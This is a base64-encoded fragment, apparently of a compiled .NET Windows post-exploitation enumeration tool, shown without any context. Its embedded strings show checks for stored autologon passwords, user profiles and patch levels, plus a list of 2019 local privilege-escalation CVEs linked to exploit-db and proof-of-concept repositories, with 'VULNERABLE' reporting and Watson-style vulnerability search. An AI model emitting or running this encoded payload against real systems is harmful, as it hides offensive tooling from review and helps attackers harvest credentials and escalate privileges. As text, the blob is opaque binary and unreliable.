AbwBuAHQAcgBvAGwAIABBAHMAcwBpAHMAdABhAG4AYwBlACAATwBwAGUAcgBhAHQAbwByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADgAMAABP0IAdQBpAGwAdABpAG4AXABSAGUAbQBvAHQAZQAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIABVAHMAZQByAHMAABNTAC0AMQAtADUALQAxADEAMwABG0wAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAABNTAC0AMQAtADUALQAxADEANAABYUwAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAIABhAG4AZAAgAG0AZQBtAGIAZQByACAAbwBmACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAZwByAG8AdQBwAAAXUwAtADEALQA1AC0ANgA0AC0AMwA2AAE5QwBsAG8AdQBkACAAQQBjAGMAbwB1AG4AdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAA14AAAMkAACAhyAAIABbAFgAXQAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAB7ADAAfQAKACAAIAAgACAAQwBoAGUAYwBrAGkAbgBnACAAdQBzAGkAbgBnACAAdABoAGUAIABvAHQAaABlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAEMAbwBuAHQAZQB4AHQAAGdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAVwBIAEUAUgBFACAATABvAGEAZABlAGQAIAA9ACAAVAByAHUAZQAAGU4AVAAgAEEAVQBUAEgATwBSAEkAVABZAAATbABvAGMAYQBsAGgAbwBzAHQAAB97ADAAfQAuAHsAMQB9AC4AewAyAH0ALgB7ADMAfQAAI1cAaQBuADMAMgBfAFUAcwBlAHIAUAByAG8AZgBpAGwAZQAAHU0AYQB4AFAAYQBzAHMAdwBvAHIAZABBAGcAZQAAHU0AaQBuAFAAYQBzAHMAdwBvAHIAZABBAGcAZQAAI00AaQBuAFAAYQBzAHMAdwBvAHIAZABMAGUAbgBnAHQAaAAAK1AAYQBzAHMAdwBvAHIAZABIAGkAcwB0AG8AcgB5AEwAZQBuAGcAdABoAAAlUABhAHMAcwB3AG8AcgBkAFAAcgBvAHAAZQByAHQAaQBlAHMAACNEAGUAZgBhAHUAbAB0AEQAbwBtAGEAaQBuAE4AYQBtAGUAAB9EAGUAZgBhAHUAbAB0AFUAcwBlAHIATgBhAG0AZQAAH0QAZQBmAGEAdQBsAHQAUABhAHMAcwB3AG8AcgBkAAApQQBsAHQARABlAGYAYQB1AGwAdABEAG8AbQBhAGkAbgBOAGEAbQBlAAAlQQBsAHQARABlAGYAYQB1AGwAdABVAHMAZQByAE4AYQBtAGUAACVBAGwAdABEAGUAZgBhAHUAbAB0AFAAYQBzAHMAdwBvAHIAZAAAESAAWwAhAF0AIAB7ADAAfQAAW1MARQBMAEUAQwBUACAAQgB1AGkAbABkAE4AdQBtAGIAZQByACAARgBSAE8ATQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtAAAXQgB1AGkAbABkAE4AdQBtAGIAZQByAAA3IAAgACAAIAAgACAAIABbACEAXQAgAHsAMAB9ACAAOgAgAFYAVQBMAE4ARQBSAEEAQgBMAEUAAB8gACAAIAAgACAAIAAgACAAWwA+AF0AIAB7ADAAfQAAKSAAIAAgACAARgBpAG4AaQBzAGgAZQBkAC4AIABGAG8AdQBuAGQAIAAANyAAcABvAHQAZQBuAHQAaQBhAGwAIAB2AHUAbABuAGUAcgBhAGIAaQBsAGkAdABpAGUAcwAuAABVIAAgACAAIAAgACAARgBpAG4AaQBzAGgAZQBkAC4AIABGAG8AdQBuAGQAIAAwACAAdgB1AGwAbgBlAHIAYQBiAGkAbABpAHQAaQBlAHMALgANAAoAABtDAFYARQAtADIAMAAxADkALQAwADgAMwA2AAFLaAB0AHQAcABzADoALwAvAGUAeABwAGwAbwBpAHQALQBkAGIALgBjAG8AbQAvAGUAeABwAGwAbwBpAHQAcwAvADQANgA3ADEAOAABgStoAHQAdABwAHMAOgAvAC8AZABlAGMAbwBkAGUAcgAuAGMAbABvAHUAZAAvADIAMAAxADkALwAwADQALwAyADkALwBjAG8AbQBiAGkAbgBpAGcALQBsAHUAYQBmAHYALQBwAG8AcwB0AGwAdQBhAGYAdgBwAG8AcwB0AHIAZQBhAGQAdwByAGkAdABlAC0AcgBhAGMAZQAtAGMAbwBuAGQAaQB0AGkAbwBuAC0AcABlAC0AdwBpAHQAaAAtAGQAaQBhAGcAaAB1AGIALQBjAG8AbABsAGUAYwB0AG8AcgAtAGUAeABwAGwAbwBpAHQALQBmAHIAbwBtAC0AcwB0AGEAbgBkAGEAcgBkAC0AdQBzAGUAcgAtAHQAbwAtAHMAeQBzAHQAZQBtAC8AARtDAFYARQAtADIAMAAxADkALQAwADgANAAxAAFVaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwByAG8AZwB1AGUALQBrAGQAYwAvAEMAVgBFAC0AMgAwADEAOQAtADAAOAA0ADEAAVNoAHQAdABwAHMAOgAvAC8AcgBhAHMAdABhAG0AbwB1AHMAZQAuAG0AZQAvAHQAYQBnAHMALwBjAHYAZQAtADIAMAAxADkALQAwADgANAAxAC8AARtDAFYARQAtADIAMAAxADkALQAxADAANgA0AAFfaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcgB5AHQAaABtAHMAdABpAGMAawAuAG4AZQB0AC8AcABvAHMAdABzAC8AYwB2AGUALQAyADAAMQA5AC0AMQAwADYANAAvAAEbQwBWAEUALQAyADAAMQA5AC0AMQAxADMAMAABXWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8AUwBoAGEAcgBwAEIAeQBlAEIAZQBhAHIAABtDAFYARQAtADIAMAAxADkALQAxADIANQAzAAFXaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBwAGEAZABvAHYAYQBoADQAYwBrAC8AQwBWAEUALQAyADAAMQA5AC0AMQAyADUAMwABG0MAVgBFAC0AMgAwADEAOQAtADEAMwAxADUAAYCraAB0AHQAcABzADoALwAvAG8AZgBmAHMAZQBjAC4AYQBsAG0AbwBuAGQALgBjAG8AbgBzAHUAbAB0AGkAbgBnAC8AdwBpAG4AZABvAHcAcwAtAGUAcgByAG8AcgAtAHIAZQBwAG8AcgB0AGkAbgBnAC0AYQByAGIAaQB0AHIAYQByAHkALQBmAGkAbABlAC0AbQBvAHYAZQAtAGUAbwBwAC4AaAB0AG0AbAABG0MAVgBFAC0AMgAwADEAOQAtADEAMwA4ADUAAVdoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB5AG8AdQB0AHUAYgBlAC4AYwBvAG0ALwB3AGEAdABjAGgAPwB2AD0ASwA2AGcASABuAHIALQBWAGsAQQBnAAEbQwBWAEUALQAyADAAMQA5AC0AMQAzADgAOAABUWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AagBhAHMANQAwADIAbgAvAEMAVgBFAC0AMgAwADEAOQAtADEAMwA4ADgAARtDAFYARQAtADIAMAAxADkALQAxADQAMAA1AAGBkWgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AYwBjAGcAcgBvAHUAcAAuAHQAcgB1AHMAdAAvAHUAawAvAGEAYgBvAHUAdAAtAHUAcwAvAG4AZQB3AHMAcgBvAG8AbQAtAGEAbgBkAC0AZQB2AGUAbgB0AHMALwBiAGwAbwBnAHMALwAyADAAMQA5AC8AbgBvAHYAZQBtAGIAZQByAC8AYwB2AGUALQAyADAAMQA5AC0AMQA0ADAANQAtAGEAbgBkAC0AYwB2AGUALQAyADAAMQA5AC0AMQAzADIAMgAtAGUAbABlAHYAYQB0AGkAbwBuAC0AdABvAC0AcwB5AHMAdABlAG0ALQB2AGkAYQAtAHQAaABlAC0AdQBwAG4AcAAtAGQAZQB2AGkAYwBlAC0AaABvAHMAdAAtAHMAZQByAHYAaQBjAGUALQBhAG4AZAAtAHQAaABlAC0AdQBwAGQAYQB0AGUALQBvAHIAYwBoAGUAcwB0AHIAYQB0AG8AcgAtAHMAZQByAHYAaQBjAGUALwABCzEAMAAyADQAMAAACzEAMAA1ADgANgAACzEANAAzADkAMwAACzEANQAwADYAMwAACzEANgAyADkAOQAACzEANwAxADMANAAACzEANwA3ADYAMwAADzQANAA5ADMANAA3ADUAAA80ADQAOQA4ADMANwA1AAAPNAA0ADkAOQAxADUANAAADzQANQAwADUAMAA1ADEAAA80ADUAMAAzADIAOQAxAAAPNAA1ADAANwA0ADUAOAAADzQANQAxADIANAA5ADcAAA80ADUAMQA3ADIANwA2AAAPNAA1ADEANgAwADcAMAAADzQANQAyADIAMAAwADkAAA80ADUAMgAwADAAMQAxAAAPNAA1ADIANAAxADUAMwAADzQANQAyADUAMgAzADIAAA80ADUAMwAwADYAOAAxAAAPNAA0ADkAMwA0ADcAMAAADzQANAA5ADMANAA3ADMAAA80ADQAOQA5ADQAMQA4AAAPNAA0ADkANAA0ADQAMAAADzQANAA5ADkAMQA3ADcAAA80ADUAMAA1ADAANQAyAAAPNAA1ADAAMwAyADYANwAADzQANQAwADMAMgA5ADQAAA80ADUAMAA5ADQANwA1AAAPNAA1ADAANwA0ADUAOQAADzQANQAwADcANAA2ADAAAA80ADUAMQAyADQAOQA1AAAPNAA1ADEAMgA1ADEANwAADzQANQAxADYAMAA0ADQAAA80ADUAMQA2ADAANgAxAAAPNAA1ADIAMgAwADEAMAAADzQANQAxADkAOQA5ADgAAA80ADUAMgA0ADEANQAyAAAPNAA1ADIANQAyADMANgAADzQANQAzADAANgA4ADkAAA80ADQAOQAzADQANwA0AAAPNAA0ADkAMwA0ADMANgAADzQANAA5ADkAMQA2ADIAAA80ADQAOQA5ADEAOAAxAAAPNAA1ADAAMgAxADEAMgAADzQANQAwADUAMAA1ADUAAA80ADUAMAAzADIANwA5AAAPNAA1ADAAMwAyADgAOQAADzQANQAwADkANAA3ADYAAA80ADUAMAA3ADQANQAwAAAPNAA1ADAANwA0ADYANwAADzQANQAxADIANAA3ADQAAA80ADUAMQAyADUAMAA3AAAPNAA1ADEANgAwADUAOQAADzQANQAxADYAMAA2ADgAAA80ADUAMgAyADAAMQAxAAAPNAA1ADIAMAAwADEAMAAADzQANQAyADQAMQA1ADEAAA80ADUAMgA1ADIANAA1AAAPNAA1ADMAMAA3ADEAMQAADzQANAA5ADMANAA0ADEAAA80ADQAOQAzADQANAAwAAAPNAA0ADkAOQAxADQANwAADzQANAA5ADkAMQA3ADkAAA80ADUAMAA1ADAANgAyAAAPNAA1ADAAMwAyADgAMQAADzQANQAwADMAMgA4ADQAAA80ADUAMAA5ADQANwA3AAAPNAA1ADAANwA0ADUANQAADzQANQAwADcANAA2ADUAAA80ADUAMQAyADQAOQA0AAAPNAA1ADEAMgA1ADEANgAADzQANQAxADYAMAA2ADYAAA80ADUAMQA2ADAANwAxAAAPNAA1ADIAMgAwADEAMgAADzQANQAyADAAMAAwADQAAA80ADUAMgA0ADEANQAwAAANNAA1ADIANQAyADQAAA80ADUAMwAwADcAMQA0AAAPNAA0ADkAMwA0ADYANAAADzQANAA5ADMANAAzADcAAA80ADQAOQA5ADEANgA3AAAPNAA0ADkAOQAxADgAMwAADzQANQAwADUAMAA2ADQAAA80ADUAMAAzADIAOAA2AAAPNAA1ADAAMwAyADgAOAAADzQANQAwADkANAA3ADgAAA80ADUAMAA3ADQAMwA1AAAPNAA1ADAANwA0ADYANgAADzQANQAxADIANQAwADEAAA80ADUAMQAyADUAMAA5AAAPNAA1ADEANgAwADQANQAADzQANQAxADYAMAA1ADgAAA80ADUAMgAyADAAMQA0AAAPNAA1ADIAMAAwADAAOAAADzQANQAyADQAMQA0ADkAAA80ADUAMgA1ADIAMwA3AAARQgA0ADUAMwAwADcAMQA3AAAPNAA0ADkAMwA1ADAAOQAADzQANAA5ADUANgA2ADcAAA80ADQAOQA0ADQANAAxAAAPNAA0ADkANwA5ADMANAAADzQANQAwADEAOAAzADUAAA80ADUAMAA1ADAANQA2AAAPNAA1ADAAMQAzADcAMQAADzQANQAwADMAMwAyADcAAA80ADUAMAA5ADQANwA5AAAPNAA1ADAANQA2ADUAOAAADzQANQAwADcANAA2ADkAAA80ADUAMQAxADUANQAzAAAPNAA1ADEAMgA1ADMANAAADzQANQAxADIANQA3ADgAAA80ADUAMQA2ADAANwA3AAAPNAA1ADIAMgAwADEANQAADzQANQAxADkAMwAzADgAAA80ADUAMgA0ADEANAA4AAAPNAA1ADIAMwAyADAANQAADzQANQAzADAANwAxADUAAA80ADUAMgA1ADIANAAxAAAPNAA1ADMAMAA3ADEANwAACzEAOAAzADYAMgAADzQANQAwADMAMgA5ADMAAA80ADUAMAAxADMANwA1AAAPNAA1ADAANQA5ADAAMwAADzQANQAwADcANAA1ADMAAA80ADUAMQAyADUAMAA4AAAPNAA1ADEAMgA5ADQAMQAADzQ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